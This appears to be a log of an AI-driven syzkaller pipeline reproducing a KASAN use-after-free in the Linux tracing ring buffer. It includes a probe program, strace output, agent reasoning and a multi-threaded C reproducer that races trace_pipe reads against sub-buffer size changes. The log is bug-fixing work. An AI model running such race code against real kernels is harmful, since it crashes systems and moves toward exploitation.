fd = open("/sys/kernel/tracing/events/enable", O_WRONLY);
if (fd < 0) {
printf("[-] Failed to open /sys/kernel/tracing/events/enable: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened /sys/kernel/tracing/events/enable successfully.\n");
close(fd);
fd = open("/sys/kernel/tracing/trace_pipe", O_RDONLY);
if (fd < 0) {
printf("[-] Failed to open /sys/kernel/tracing/trace_pipe: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened /sys/kernel/tracing/trace_pipe successfully.\n");
close(fd);
fd = open("/sys/kernel/tracing/buffer_subbuf_size_kb", O_WRONLY);
if (fd < 0) {
printf("[-] Failed to open /sys/kernel/tracing/buffer_subbuf_size_kb: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened /sys/kernel/tracing/buffer_subbuf_size_kb successfully.\n");
close(fd);
printf("[+] All probes successful.\n");
return 0;
}
]
|
| 140/5 |
2026/08/12 02:35 |
action |
If |
0m
Args:
|
| 141/3 |
2026/08/12 02:35 |
action |
run-c-repro |
4m
Results: map[CandidateBugTitle: CandidateCrashReport: CandidateReproduced:false ConsoleOutput:Warning: Permanently added '[localhost]:50301' (ED25519) to the list of known hosts.
[+] Opened /sys/kernel/tracing/events/enable successfully.
[+] Opened /sys/kernel/tracing/trace_pipe successfully.
[+] Opened /sys/kernel/tracing/buffer_subbuf_size_kb successfully.
[+] All probes successful.
OtherCrashReports:<nil> StraceOutput:/strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor513105869
<...>
Warning: Permanently added '[localhost]:35131' (ED25519) to the list of known hosts.
execve("/syz-executor513105869", ["/syz-executor513105869"], 0x7fffe91a62f0 /* 11 vars */) = 0
brk(NULL) = 0x555588eb3000
brk(0x555588eb3d80) = 0x555588eb3d80
arch_prctl(ARCH_SET_FS, 0x555588eb3400) = 0
set_tid_address(0x555588eb36d0) = 5915
set_robust_list(0x555588eb36e0, 24) = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor513105869", 4096) = 22
getrandom("\xd9\x9e\xa7\x8c\x0b\x91\xd7\x73", 8, GRND_NONBLOCK) = 8
brk(NULL) = 0x555588eb3d80
brk(0x555588ed4d80) = 0x555588ed4d80
brk(0x555588ed5000) = 0x555588ed5000
mprotect(0x7ff027720000, 20480, PROT_READ) = 0
openat(AT_FDCWD, "/sys/kernel/tracing/events/enable", O_WRONLY) = 3
fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
close(3) = 0
openat(AT_FDCWD, "/sys/kernel/tracing/trace_pipe", O_RDONLY) = 3
close(3) = 0
openat(AT_FDCWD, "/sys/kernel/tracing/buffer_subbuf_size_kb", O_WRONLY) = 3
close(3) = 0
[+] Opened /sys/kernel/tracing/events/enable successfully.
[+] Opened /sys/kernel/tracing/trace_pipe successfully.
[+] Opened /sys/kernel/tracing/buffer_subbuf_size_kb successfully.
[+] All probes successful.
write(1, "[+] Opened /sys/kernel/tracing/events/enable successfully.\n[+] Opened /sys/kernel/tracing/trace_pipe"..., 209) = 209
exit_group(0) = ?
+++ exited with 0 +++
TestError:]
|
| 142/3 |
2026/08/12 02:40 |
action |
truncate-log |
0m
Results: map[TruncatedConsoleOutput:Warning: Permanently added '[localhost]:50301' (ED25519) to the list of known hosts.
[+] Opened /sys/kernel/tracing/events/enable successfully.
[+] Opened /sys/kernel/tracing/trace_pipe successfully.
[+] Opened /sys/kernel/tracing/buffer_subbuf_size_kb successfully.
[+] All probes successful.
TruncatedCrashReport: TruncatedStraceOutput:/strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor513105869
<...>
Warning: Permanently added '[localhost]:35131' (ED25519) to the list of known hosts.
execve("/syz-executor513105869", ["/syz-executor513105869"], 0x7fffe91a62f0 /* 11 vars */) = 0
brk(NULL) = 0x555588eb3000
brk(0x555588eb3d80) = 0x555588eb3d80
arch_prctl(ARCH_SET_FS, 0x555588eb3400) = 0
set_tid_address(0x555588eb36d0) = 5915
set_robust_list(0x555588eb36e0, 24) = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor513105869", 4096) = 22
getrandom("\xd9\x9e\xa7\x8c\x0b\x91\xd7\x73", 8, GRND_NONBLOCK) = 8
brk(NULL) = 0x555588eb3d80
brk(0x555588ed4d80) = 0x555588ed4d80
brk(0x555588ed5000) = 0x555588ed5000
mprotect(0x7ff027720000, 20480, PROT_READ) = 0
openat(AT_FDCWD, "/sys/kernel/tracing/events/enable", O_WRONLY) = 3
fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
close(3) = 0
openat(AT_FDCWD, "/sys/kernel/tracing/trace_pipe", O_RDONLY) = 3
close(3) = 0
openat(AT_FDCWD, "/sys/kernel/tracing/buffer_subbuf_size_kb", O_WRONLY) = 3
close(3) = 0
[+] Opened /sys/kernel/tracing/events/enable successfully.
[+] Opened /sys/kernel/tracing/trace_pipe successfully.
[+] Opened /sys/kernel/tracing/buffer_subbuf_size_kb successfully.
[+] All probes successful.
write(1, "[+] Opened /sys/kernel/tracing/events/enable successfully.\n[+] Opened /sys/kernel/tracing/trace_pipe"..., 209) = 209
exit_group(0) = ?
+++ exited with 0 +++
]
|
| 143/3 |
2026/08/12 02:40 |
agent |
repro-oracle |
0m
Model:
Results: map[Feedback:The capability probe was successful. All required files in /sys/kernel/tracing/ were opened successfully. The environment is ready. Please proceed to generate the full reproducer in the next iteration. ProbePassed:true TerminalError: TitleMatches:false]
Instruction: You are a security researcher with deep Linux kernel background.
Analyze the results of running the generated program.
=== CRITICAL ENVIRONMENT & TARGET CLASSIFICATION ===
Set 'TerminalError' to a descriptive error message ONLY if:
1. The execution failed due to missing hardware device nodes, subsystems, kernel modules, or privilege limits
that cannot be loaded, created, or bypassed by user-space C code edits in the VM guest.
2. The target source files or functions described in the bug description do not exist in the checked-out codebase,
meaning the codebase version is mismatched and the target code is absent.
=== CRITICAL PROHIBITIONS ===
- Do NOT classify a run as a terminal failure or assume a bug is fixed based on git log entries, commit titles,
or commit messages. Reproducibility can ONLY be determined by executing reproducer candidates in the VM.
- Do NOT suggest C code strategies, repairs, or namespace bypasses when setting 'TerminalError'.
=== PHASE 1: CAPABILITY PROBING (EVALUATION) ===
The executed program was a simple environment probe.
Use this to guide your classification and feedback:
1. If the execution was successful (all environment/subsystem probes passed and program exited with 0),
set the field 'ProbePassed' to true and provide feedback explicitly indicating that the environment
is ready and the agent should now proceed to generate the full reproducer in the next iteration.
2. If the probe failed (e.g., missing permissions, missing devices, or sandbox restrictions),
set the field 'ProbePassed' to false, and explain what failed in the 'Feedback'
field so the generator can adjust its setups.
Prefer calling several tools at the same time to save round-trips.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt: Bug Description: KASAN: use-after-free Read in ignore_event
==================================================================
BUG: KASAN: use-after-free in ignore_event+0x83e/0xaa0 kernel/trace/trace.c:2526
Read of size 2 at addr ffff88804705a1ac by task syz.6.1383/11771
CPU: 0 UID: 0 PID: 11771 Comm: syz.6.1383 Tainted: G S syzkaller #0 PREEMPT(full)
Tainted: [S]=CPU_OUT_OF_SPEC
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/16/2026
Call Trace:
<TASK>
__dump_stack lib/dump_stack.c:94 [inline]
dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
print_address_description mm/kasan/report.c:378 [inline]
print_report+0x13d/0x4b0 mm/kasan/report.c:482
kasan_report+0xdf/0x1c0 mm/kasan/report.c:595
ignore_event+0x83e/0xaa0 kernel/trace/trace.c:2526
trace_event_printf+0xb5/0x160 kernel/trace/trace_output.c:356
trace_raw_output_sys_enter+0x4c/0x60 include/trace/events/syscalls.h:18
print_trace_fmt kernel/trace/trace.c:3071 [inline]
print_trace_line+0x97d/0x1790 kernel/trace/trace.c:3237
tracing_read_pipe+0x586/0xd60 kernel/trace/trace.c:5444
vfs_read+0x1e4/0xb40 fs/read_write.c:572
ksys_read+0x12a/0x250 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f48cdd9e019
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f48cebb5028 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007f48ce025fa0 RCX: 00007f48cdd9e019
RDX: 0000000000002000 RSI: 0000200000001000 RDI: 0000000000000003
RBP: 00007f48cde3500c R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007f48ce026038 R14: 00007f48ce025fa0 R15: 00007ffe7508fde8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x4705a
flags: 0xfff00000000000(node=0|zone=1|lastcpupid=0x7ff)
raw: 00fff00000000000 ffffea00009a6048 ffffea00007bac08 0000000000000000
raw: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 9023, tgid 9022 (syz.6.770), ts 304966657874, free_ts 587151444439
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0xfd/0x120 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0xf48/0x3530 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x299/0x2dc0 mm/page_alloc.c:5304
__alloc_pages_noprof+0xb/0x110 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data+0x60/0x160 kernel/trace/ring_buffer.c:427
__rb_allocate_pages+0xbd5/0x10a0 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x6df/0x1e80 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer.part.0+0x52/0x1f0 kernel/trace/trace.c:4738
__tracing_resize_ring_buffer kernel/trace/trace.c:4732 [inline]
tracing_update_buffers+0xd4/0xf0 kernel/trace/trace.c:4977
event_enable_write+0x23f/0x340 kernel/trace/trace_events.c:1926
vfs_write+0x2aa/0x1050 fs/read_write.c:685
ksys_write+0x12a/0x250 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 11775 tgid 11774 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0x79f/0x1090 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0x12d5/0x18a0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x182/0x280 kernel/trace/trace.c:8221
vfs_write+0x2aa/0x1050 fs/read_write.c:685
ksys_write+0x12a/0x250 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff88804705a080: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff88804705a100: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff88804705a180: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff88804705a200: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff88804705a280: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
IsProbe: true
Reproduced: false
Console Output: Warning: Permanently added '[localhost]:50301' (ED25519) to the list of known hosts.
[+] Opened /sys/kernel/tracing/events/enable successfully.
[+] Opened /sys/kernel/tracing/trace_pipe successfully.
[+] Opened /sys/kernel/tracing/buffer_subbuf_size_kb successfully.
[+] All probes successful.
Strace Output: /strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor513105869
<...>
Warning: Permanently added '[localhost]:35131' (ED25519) to the list of known hosts.
execve("/syz-executor513105869", ["/syz-executor513105869"], 0x7fffe91a62f0 /* 11 vars */) = 0
brk(NULL) = 0x555588eb3000
brk(0x555588eb3d80) = 0x555588eb3d80
arch_prctl(ARCH_SET_FS, 0x555588eb3400) = 0
set_tid_address(0x555588eb36d0) = 5915
set_robust_list(0x555588eb36e0, 24) = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor513105869", 4096) = 22
getrandom("\xd9\x9e\xa7\x8c\x0b\x91\xd7\x73", 8, GRND_NONBLOCK) = 8
brk(NULL) = 0x555588eb3d80
brk(0x555588ed4d80) = 0x555588ed4d80
brk(0x555588ed5000) = 0x555588ed5000
mprotect(0x7ff027720000, 20480, PROT_READ) = 0
openat(AT_FDCWD, "/sys/kernel/tracing/events/enable", O_WRONLY) = 3
fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
close(3) = 0
openat(AT_FDCWD, "/sys/kernel/tracing/trace_pipe", O_RDONLY) = 3
close(3) = 0
openat(AT_FDCWD, "/sys/kernel/tracing/buffer_subbuf_size_kb", O_WRONLY) = 3
close(3) = 0
[+] Opened /sys/kernel/tracing/events/enable successfully.
[+] Opened /sys/kernel/tracing/trace_pipe successfully.
[+] Opened /sys/kernel/tracing/buffer_subbuf_size_kb successfully.
[+] All probes successful.
write(1, "[+] Opened /sys/kernel/tracing/events/enable successfully.\n[+] Opened /sys/kernel/tracing/trace_pipe"..., 209) = 209
exit_group(0) = ?
+++ exited with 0 +++
Crash Report:
|
| 144/4 |
2026/08/12 02:40 |
llm |
repro-oracle |
0m
Model:
Tokens:
input: 6448
output: 70
thoughts: 170
Thoughts: **Capability Probe Analysis and Next Steps**
Alright, I've just reviewed the output from the capability probe. It looks like everything went exactly as planned – a clean success. The console messages confirm that I was able to successfully open all the necessary tracing event files, including `/sys/kernel/tracing/events/enable`, `/sys/kernel/tracing/trace_pipe`, and `/sys/kernel/tracing/buffer_subbuf_size_kb`. The `strace` output further validates this, showing no errors or access issues.
Given this positive outcome, my internal assessment is that the environment is fully prepared. I'm going to mark the `ProbePassed` flag as `true`. This signals that the system is ready, and the agent can now confidently proceed with generating the full reproducer. Consequently, I'll ensure that `TerminalError` is left empty, as there were no issues encountered. And since this was just a successful probe, and not an actual crash or failure scenario, `TitleMatches` will remain `false`. I'm now ready to call the `set-results` tool with these findings.
|
| 145/4 |
2026/08/12 02:40 |
tool |
set-results |
0m
Args: map[Feedback:The capability probe was successful. All required files in /sys/kernel/tracing/ were opened successfully. The environment is ready. Please proceed to generate the full reproducer in the next iteration. ProbePassed:true TerminalError: TitleMatches:false]
Results: map[Feedback:The capability probe was successful. All required files in /sys/kernel/tracing/ were opened successfully. The environment is ready. Please proceed to generate the full reproducer in the next iteration. ProbePassed:true TerminalError: TitleMatches:false]
|
| 146/3 |
2026/08/12 02:40 |
action |
loop-controller |
0m
Results: map[CapabilitiesVerified:true ContinueSignal:continue EquivalenceAnalysis: OracleFeedback:The capability probe was successful. All required files in /sys/kernel/tracing/ were opened successfully. The environment is ready. Please proceed to generate the full reproducer in the next iteration. ReproC: Reproduced:false ReproducedBugTitle: ReproducedCrashReport:]
|
| 147/2 |
2026/08/12 02:40 |
iteration |
1 |
4m
|
| 148/3 |
2026/08/12 02:40 |
action |
If |
0m
Args: map[OracleFeedback:The capability probe was successful. All required files in /sys/kernel/tracing/ were opened successfully. The environment is ready. Please proceed to generate the full reproducer in the next iteration.]
|
| 149/4 |
2026/08/12 02:40 |
agent |
strategy-refiner |
0m
Model:
Instruction: You are an expert in Linux kernel debugging.
Refine the reproduction strategy based on feedback from previous attempts.
Analyze the technical diagnosis provided in the oracle feedback and translate it into concrete,
step-by-step instructions for the repro-generator on how to modify the code structure, alignments,
offsets, or parameters of the candidate program.
=== TOOL SELECTION GUIDELINES ===
- Prefer codesearch-definition-source and codesearch-struct-layout first for symbol lookups.
- Fall back to read-file or grepper for macros, headers, or if symbol lookup fails.
=== CRITICAL PROHIBITIONS ===
- Do NOT repeat searches for the same symbols or files. Use information you have already gathered.
- Do NOT write long explanations. Keep your reasoning short and focused on actionable changes.
- Do NOT assume a bug is fixed based on git commit history.
- If you are stuck, try a different approach or proceed to generate a candidate reproducer.
Prefer calling several tools at the same time to save round-trips.
Prompt: Bug Description: KASAN: use-after-free Read in ignore_event
==================================================================
BUG: KASAN: use-after-free in ignore_event+0x83e/0xaa0 kernel/trace/trace.c:2526
Read of size 2 at addr ffff88804705a1ac by task syz.6.1383/11771
CPU: 0 UID: 0 PID: 11771 Comm: syz.6.1383 Tainted: G S syzkaller #0 PREEMPT(full)
Tainted: [S]=CPU_OUT_OF_SPEC
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/16/2026
Call Trace:
<TASK>
__dump_stack lib/dump_stack.c:94 [inline]
dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
print_address_description mm/kasan/report.c:378 [inline]
print_report+0x13d/0x4b0 mm/kasan/report.c:482
kasan_report+0xdf/0x1c0 mm/kasan/report.c:595
ignore_event+0x83e/0xaa0 kernel/trace/trace.c:2526
trace_event_printf+0xb5/0x160 kernel/trace/trace_output.c:356
trace_raw_output_sys_enter+0x4c/0x60 include/trace/events/syscalls.h:18
print_trace_fmt kernel/trace/trace.c:3071 [inline]
print_trace_line+0x97d/0x1790 kernel/trace/trace.c:3237
tracing_read_pipe+0x586/0xd60 kernel/trace/trace.c:5444
vfs_read+0x1e4/0xb40 fs/read_write.c:572
ksys_read+0x12a/0x250 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f48cdd9e019
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f48cebb5028 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007f48ce025fa0 RCX: 00007f48cdd9e019
RDX: 0000000000002000 RSI: 0000200000001000 RDI: 0000000000000003
RBP: 00007f48cde3500c R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007f48ce026038 R14: 00007f48ce025fa0 R15: 00007ffe7508fde8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x4705a
flags: 0xfff00000000000(node=0|zone=1|lastcpupid=0x7ff)
raw: 00fff00000000000 ffffea00009a6048 ffffea00007bac08 0000000000000000
raw: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 9023, tgid 9022 (syz.6.770), ts 304966657874, free_ts 587151444439
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0xfd/0x120 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0xf48/0x3530 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x299/0x2dc0 mm/page_alloc.c:5304
__alloc_pages_noprof+0xb/0x110 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data+0x60/0x160 kernel/trace/ring_buffer.c:427
__rb_allocate_pages+0xbd5/0x10a0 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x6df/0x1e80 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer.part.0+0x52/0x1f0 kernel/trace/trace.c:4738
__tracing_resize_ring_buffer kernel/trace/trace.c:4732 [inline]
tracing_update_buffers+0xd4/0xf0 kernel/trace/trace.c:4977
event_enable_write+0x23f/0x340 kernel/trace/trace_events.c:1926
vfs_write+0x2aa/0x1050 fs/read_write.c:685
ksys_write+0x12a/0x250 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 11775 tgid 11774 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0x79f/0x1090 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0x12d5/0x18a0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x182/0x280 kernel/trace/trace.c:8221
vfs_write+0x2aa/0x1050 fs/read_write.c:685
ksys_write+0x12a/0x250 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff88804705a080: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff88804705a100: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff88804705a180: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff88804705a200: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff88804705a280: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
Current Strategy: ### Analysis of the Bug
The bug is a Use-After-Free (UAF) in the tracing subsystem, specifically when reading from the `trace_pipe` while concurrently changing the ring buffer's sub-buffer size.
Here is the sequence of events that leads to the crash:
1. **Reading the Trace Pipe:** When a user reads from `/sys/kernel/tracing/trace_pipe`, `tracing_read_pipe()` is invoked. It calls `trace_find_next_entry_inc()` to peek at the next event in the ring buffer.
2. **Peeking the Event:** `ring_buffer_iter_peek()` acquires the `cpu_buffer->reader_lock`, gets a pointer to the event inside the reader page, and then **drops the lock**. It returns the pointer to the event data.
3. **Concurrent Sub-buffer Size Change:** Meanwhile, another thread writes to `/sys/kernel/tracing/buffer_subbuf_size_kb`. This invokes `buffer_subbuf_size_write()`, which calls `ring_buffer_subbuf_order_set()`.
4. **Freeing the Reader Page:** `ring_buffer_subbuf_order_set()` acquires the `cpu_buffer->reader_lock`, swaps out the current reader page for a newly allocated one of the new size, drops the lock, and then **frees the old reader page** (`free_buffer_page()`).
5. **Use-After-Free:** Back in the first thread, `tracing_read_pipe()` proceeds to format and print the event using the pointer it obtained earlier. It calls `print_trace_line()` -> `print_trace_fmt()` -> `trace_raw_output_sys_enter()` -> `trace_event_printf()` -> `ignore_event()`. When `ignore_event()` dereferences `iter->ent->type`, it accesses the memory of the reader page that was just freed, triggering the KASAN UAF report.
### Reproduction Strategy
To reproduce this bug, we need to maximize the race window between reading the trace pipe and changing the sub-buffer size. We can achieve this with a minimal C program that uses three threads:
1. **Event Generator:** A thread that continuously executes a syscall (e.g., `getpid()`) to flood the ring buffer with `sys_enter` events.
2. **Trace Reader:** A thread that continuously reads from `/sys/kernel/tracing/trace_pipe`.
3. **Size Changer:** A thread that continuously writes alternating valid sizes (e.g., `4` and `8` KB) to `/sys/kernel/tracing/buffer_subbuf_size_kb` to force the reallocation and freeing of the reader pages.
### Minimal C Reproducer
```c
#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/syscall.h>
static void *read_pipe(void *arg)
{
int fd = open("/sys/kernel/tracing/trace_pipe", O_RDONLY);
if (fd < 0) {
perror("open trace_pipe");
return NULL;
}
char buf[4096];
while (1) {
read(fd, buf, sizeof(buf));
}
return NULL;
}
static void *write_size(void *arg)
{
int fd = open("/sys/kernel/tracing/buffer_subbuf_size_kb", O_WRONLY);
if (fd < 0) {
perror("open buffer_subbuf_size_kb");
return NULL;
}
while (1) {
/* Alternate between 4KB (order 0) and 8KB (order 1) */
write(fd, "4\n", 2);
write(fd, "8\n", 2);
}
return NULL;
}
static void *do_syscalls(void *arg)
{
while (1) {
syscall(SYS_getpid);
}
return NULL;
}
int main(void)
{
int fd;
/* Enable all events to ensure the ring buffer is flooded with data */
fd = open("/sys/kernel/tracing/events/enable", O_WRONLY);
if (fd >= 0) {
write(fd, "1", 1);
close(fd);
} else {
perror("open events/enable");
}
pthread_t t1, t2, t3;
pthread_create(&t1, NULL, read_pipe, NULL);
pthread_create(&t2, NULL, write_size, NULL);
pthread_create(&t3, NULL, do_syscalls, NULL);
pthread_join(t1, NULL);
pthread_join(t2, NULL);
pthread_join(t3, NULL);
return 0;
}
```
Feedback: The capability probe was successful. All required files in /sys/kernel/tracing/ were opened successfully. The environment is ready. Please proceed to generate the full reproducer in the next iteration.
Reply: An analysis of the feedback confirms that the required tracing files are accessible, and the capability probe was successful. The environment is fully prepared for the reproducer.
The strategy remains the same: we will create a multi-threaded C program to maximize the race window between reading from the `trace_pipe` and modifying the `buffer_subbuf_size_kb`. To increase the likelihood of triggering the Use-After-Free, we will spawn multiple threads for both reading the pipe and changing the sub-buffer size, while continuously generating `sys_enter` events by calling `getpid()` in a loop.
Here is the complete C reproducer.
```c
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/syscall.h>
static void *read_pipe(void *arg)
{
int fd = open("/sys/kernel/tracing/trace_pipe", O_RDONLY);
if (fd < 0) {
return NULL;
}
char buf[4096];
while (1) {
read(fd, buf, sizeof(buf));
}
return NULL;
}
static void *write_size(void *arg)
{
int fd = open("/sys/kernel/tracing/buffer_subbuf_size_kb", O_WRONLY);
if (fd < 0) {
return NULL;
}
while (1) {
/* Alternate between 4KB (order 0) and 8KB (order 1) */
write(fd, "4\n", 2);
write(fd, "8\n", 2);
}
return NULL;
}
static void *do_syscalls(void *arg)
{
while (1) {
syscall(SYS_getpid);
}
return NULL;
}
int main(void)
{
int fd;
/* Enable all events to ensure the ring buffer is flooded with data */
fd = open("/sys/kernel/tracing/events/enable", O_WRONLY);
if (fd >= 0) {
if (write(fd, "1", 1) < 0) {
perror("write events/enable");
}
close(fd);
} else {
perror("open events/enable");
}
pthread_t t1, t2, t3, t4, t5;
pthread_create(&t1, NULL, read_pipe, NULL);
pthread_create(&t2, NULL, write_size, NULL);
pthread_create(&t3, NULL, do_syscalls, NULL);
pthread_create(&t4, NULL, read_pipe, NULL);
pthread_create(&t5, NULL, write_size, NULL);
pthread_join(t1, NULL);
pthread_join(t2, NULL);
pthread_join(t3, NULL);
pthread_join(t4, NULL);
pthread_join(t5, NULL);
return 0;
}
```
|
| 150/5 |
2026/08/12 02:40 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 6135
output: 762
thoughts: 1072
Thoughts: **My Thoughts on Exploiting the UAF in `trace.c`**
Alright, the capability probe was a success; the environment is primed and ready for action. I've pinpointed the vulnerability: a Use-After-Free (UAF) bug within the `ignore_event` function. The root cause is a race condition occurring when `trace_pipe` is read concurrently with modifications to `buffer_subbuf_size_kb`.
My initial strategy was sound: create three threads. One to generate events (like `getpid()`), another to continuously read from `/sys/kernel/tracing/trace_pipe`, and a third to frequently update `/sys/kernel/tracing/buffer_subbuf_size_kb`.
However, upon closer examination of the bug report, I noticed the stack trace points specifically to `sys_enter` events. The calls are:
`ignore_event+0x83e/0xaa0 kernel/trace/trace.c:2526`
`trace_event_printf+0xb5/0x160 kernel/trace/trace_output.c:356`
`trace_raw_output_sys_enter+0x4c/0x60 include/trace/events/syscalls.h:18`
